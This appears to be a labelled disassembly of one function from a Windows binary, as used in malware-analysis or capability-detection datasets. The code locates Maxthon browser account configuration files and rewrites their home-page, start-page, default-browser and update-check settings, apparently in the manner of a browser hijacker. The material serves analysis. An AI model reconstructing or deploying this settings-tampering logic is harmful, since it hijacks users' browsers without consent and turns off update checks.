Function at 0x402c78
Capabilities:
Enumerate files on windows
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3e8]
sub esp, 0x468
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x3e4], eax
push ebx
push esi
mov esi, dword [ebp + 0x3f0]
push edi
mov edi, 0x104
xor ebx, ebx
push edi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x70], ebx
call fcn.00409397
pop ecx
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push eax
push 0x20019
push ebx
push str.SoftwareMaxthon2
push 0x80000001
mov dword [ebp - 0x7c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402cf9
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x6c]
lea eax, [ebp - 0x80]
push eax
push ebx
push str.Folder
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402cf9
mov dword [ebp - 0x70], 1
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x70], ebx
je 0x402fa9
lea eax, [ebp + 0x1dc]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0x1dc]
push ebx
push eax
call fcn.00408e10
lea eax, [ebp + 0xd8]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0xd8]
push ebx
push eax
call fcn.00408e10
push dword [ebp - 0x6c]
lea eax, [ebp + 0x1dc]
push eax
call fcn.00408d20
push dword [ebp - 0x6c]
lea eax, [ebp + 0xd8]
push eax
call fcn.00408d20
lea eax, [ebp + 0xd8]
push str._
push eax
call fcn.00408d20
add esp, 0x38
push ebx
push ebx
push ebx
lea eax, [ebp - 0x68]
push eax
push ebx
lea eax, [ebp + 0xd8]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExA]
mov dword [ebp - 0x70], eax
cmp eax, 0xffffffff
jne 0x402e70
lea eax, [ebp + 0x2e0]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0x2e0]
push ebx
push eax
call fcn.00408e10
lea eax, [ebp + 0x1dc]
push eax
lea eax, [ebp + 0x2e0]
push eax
call fcn.00408d20
lea eax, [ebp + 0x2e0]
push str.SharedAccountConfigConfig.ini
push eax
call fcn.00408d20
lea eax, [ebp + 0x2e0]
push eax
call fcn.00402811
mov edi, dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
add esp, 0x24
lea eax, [ebp + 0x2e0]
push eax
mov ebx, 0x41b680
push ebx
push str.ConfirmExit
push str.Advanced
call edi
lea eax, [ebp + 0x2e0]
push eax
push esi
push str.HomePage
mov esi, str.Startup
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push str.home
push str.StartPageType
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push ebx
push str.CheckDefaultBrowser
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push 0x41b4bc
push str.CheckUpdate
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push 0x41b694
push str.NoStartPageOnExternalCall
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
call fcn.004029b2
jmp 0x402fb6
mov edi, dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
mov ebx, 0x41b680
mov esi, str.Startup
test byte [ebp - 0x68], 0x10
je 0x402f89
lea eax, [ebp + 0x2e0]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0x2e0]
push 0
push eax
call fcn.00408e10
lea eax, [ebp + 0x1dc]
push eax
lea eax, [ebp + 0x2e0]
push eax
call fcn.00408d20
lea eax, [ebp + 0x2e0]
push 0x41b348
push eax
call fcn.00408d20
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp + 0x2e0]
push eax
call fcn.00408d20
lea eax, [ebp + 0x2e0]
push str.ConfigCon
push eax
call fcn.00408d20
lea eax, [ebp + 0x2e0]
push str.fig.ini
push eax
call fcn.00408d20
lea eax, [ebp + 0x2e0]
push eax
call fcn.00402811
add esp, 0x3c
lea eax, [ebp + 0x2e0]
push eax
push ebx
push str.ConfirmExit
push str.Advanced
call edi
lea eax, [ebp + 0x2e0]
push eax
push dword [ebp - 0x78]
push str.HomePage
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push str.home
push str.StartPageType
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push ebx
push str.CheckDefaultBrowser
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push 0x41b4bc
push str.CheckUpdate
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
push 0x41b694
push str.NoStartPageOnExternalCall
push esi
call edi
lea eax, [ebp + 0x2e0]
push eax
call fcn.004029b2
pop ecx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x402e80
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor ebx, ebx
cmp dword [ebp - 0x6c], ebx
je 0x402fb7
push dword [ebp - 0x6c]
call fcn.00409371
pop ecx
mov ecx, dword [ebp + 0x3e4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408f1b
add ebp, 0x3e8
leave
ret